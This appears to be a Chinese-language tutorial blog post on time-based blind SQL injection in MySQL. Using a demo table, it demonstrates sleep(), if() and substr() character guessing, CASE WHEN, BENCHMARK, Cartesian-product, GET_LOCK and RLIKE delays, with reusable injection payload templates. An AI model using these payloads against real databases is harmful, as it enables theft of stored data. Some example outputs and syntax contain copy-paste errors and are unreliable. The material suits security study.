1. 基础知识
时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据。
在执行语句的过程中,由于 sleep(duration) 函数的存在,保证是注入导致的延时,而不是业务正常处理导致的延时。
2. 原理演示
2.1 sleep 函数
- sleep(duration)
- 睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。
mysql> select * from user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
| 2 | admin1 | aaaa |
| 3 | admin2 | aaaa |
| 4 | admin3 | aaaa |
+----+----------+----------+
4 row in set (0.00 sec)
mysql> select sleep(3);
+----------------------+
| sleep(3) |
+----------------------+
| 0 |
+----------------------+
1 row in set (3.00 sec)
mysql> select * from user where id = 1 and sleep(3);
Empty set (3.01 sec)
mysql> select * from user where id = 5 and sleep(3);
Empty set (0.00 sec)
sleep(3) 执行完成后返回 0,所以 select * from user where id = 1 and sleep(3)
查询 0 条数据
and 的逻辑是如果 and 左侧表达式为假,则直接返回假,不再直接右侧表达式。所以当 id=5 查不到数据时,直接就会返回结果,这样就可以用布尔注入逻辑,根据执行的时长,来测试是否查到数据。
如果 and 逻辑换成 or,又会有变化。
mysql> select * from user where id = 1 or sleep(3);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (9.01sec)
or 逻辑是左侧若为真则不判断右侧表达式,所以 id=1 这条执行了 0.01 sec,接下来 id=2,3,4 这几条数据都会执行 sleep(3),总共是 9.01sec。(可能不是所有版本都是这样的逻辑)
2.2 配合 if 条件触发
- if(expr1, expr2, expr3)
- 如果 expr1 是 True,则返回 expr2,否则返回 expr3
- 返回值是数字值或字符串值
mysql> select * from user where id = 5 or if(username = 'admin', 1, 0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (9.01sec)
mysql> select * from user where id = 1 and if(database()=' ', sleep(4), null);
2.3 截取函数
配合截取函数,能够判断猜测的某一位数据是否准确
单个字母爆破
mysql> select * from user where username='a' or if(substr((select username from user where id = 1), 1, 1) = 'a' , sleep(3), 0)
- substring
- substring(str, pos)
- substring(str FROM pos)
- substring(str, pos, len)
- substring(str FROM pos FOR len)
- substr(str, start, length)
- mid(str, start, length)
- str,必需
- start,必需
- length,可选
- substring_index(str, delim, count)
- str:被截取字符串
- delim:关键字
- count:关键字出现的次数
- left(str, length),从左开始截取字符串
- right(str, length),从右开始截取字符串
实际上,使用正则表达式也能达到类似的效果,“^”表示从头开始匹配
mysql> select * from user where password rlike = '^1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (0.00sec)
mysql> select * from user where password regexp '^12';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (0.00sec)
我们注意到,进行匹配时传入单个字符都需要引号,如果想不传入引号达到一样的效果,可以使用 ascii() 函数
select * from table where id = 1 and (if(substr(database(),1,1)=' ',sleep(4),null))
select * from table where id = 1 and (if(ascii(substr(database(),1,1))=100,sleep(4),null))
2.4 配合 select case when 条件触发
SQL CASE 表达式是一种通用的条件表达式,类似于其他语言中的 if...else... 语句
CASE WHEN condition THEN result
[WHEN ...]
[ELSE result]
END
先来一个使用举例:
mysql> select case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end from user;
+---------------------------------------------------------+
| case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end |
+---------------------------------------------------------+
| aaa |
| xxxx |
| xxxx |
| xxxx |
+---------------------------------------------------------+
4 row in set (0.00sec)
可以与 sleep 或者其他形式结合
mysql> select case when username = 'admin' THEN (sleep(3)) ELSE 'xxxx' end from user;
+---------------------------------------------------------+
| case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end |
+---------------------------------------------------------+
| 0 |
| xxxx |
| xxxx |
| xxxx |
+---------------------------------------------------------+
4 row in set (3.01sec)
2.5 除 sleep 之外的延时
- BENCHMARK(count, expr)
- 重复 count 次执行表达式 expr。
- 可以被用于计算 MySQL 处理表达式的速度
- 结果值通常为0
- 笛卡尔积
- SELECT count(*) FROM information_schema.columns A, information_schema.colums B, information_schema.colums C;
- 通过复杂的运算达到延时
- GET_LOCK(str, timeout)
- 使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
- 局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效
session 1
mysql> select get_lock('karma',1);
+---------------------+
| get_lock('karma',1) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
session 2
mysql> select get_lock('karma',10);
+----------------------+
| get_lock('karma',10) |
+----------------------+
| 0 |
+----------------------+
1 row in set (10.00 sec)
- RLIKE
- 通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
mysql> select concat (rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
*****
1 row in set (0.51 sec)
————————————————